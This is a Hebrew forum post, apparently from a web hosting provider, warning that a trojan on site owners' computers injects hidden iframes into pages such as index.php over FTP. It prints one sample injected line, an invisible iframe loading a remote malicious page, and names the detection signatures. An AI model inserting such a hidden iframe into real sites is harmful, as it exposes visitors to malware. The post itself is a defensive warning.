[דניאל]

שלום לכל המשתמשים,

התראה זו מתייחסת לגולשים ולבעלי אתרים כאחד.

לאחרונה התקבלו אצלי (sPD Hosting) מספר פניות בנוגע לוירוס ש"קופץ" כאשר פותחים את האתר,

במידה ואתם נתקלים באחד כזה (בהנחה כמובן שמותקן אצלכם אנטי-וירוס ומתעדכן בקביעות) חשוב לציין שלא מדובר בוירוס כלשהוא ע"ג השרת עליו מתאכסן השרת או בפעולה מתוכננת מצד בעל האתר.

מדובר בסוס טרויאני המושתל במחשבו של בעל האתר,
כאשר בעל האתר משתמש בFTP הוירוס אוטומטית מוסף לקוד המקור של האתר,
לרוב בעמודים בשמות: index.php, default.asp או קבצים מרכזיים אחרים.

הוירוס מצורף לאתר בתור IFrame,
לרוב מיד לאחר תג הbody.

דוגמא:

<iframe src='http://62.176.16.19/tt.php' width='1' height='1' style='visibility: hidden;'></iframe>

(לא להכנס לקישור, הוא אכן וירוס)

למידע על הוירוסים:
Trojan-Clicker.HTML.IFrame.g
Trojan-Clicker.HTML.IFrame.fq

אם יש שמות נוספים לוירוסים,
אשמח אם משתמשים נוספים יוסיפו מידע, יעודכן כאן בפוסט הראשי.

האנטי-וירוס Kaspersky 7 מזהה אותו מצויין,
לגבי תוכנות אנטי-וירוס נוספות, שום מושג.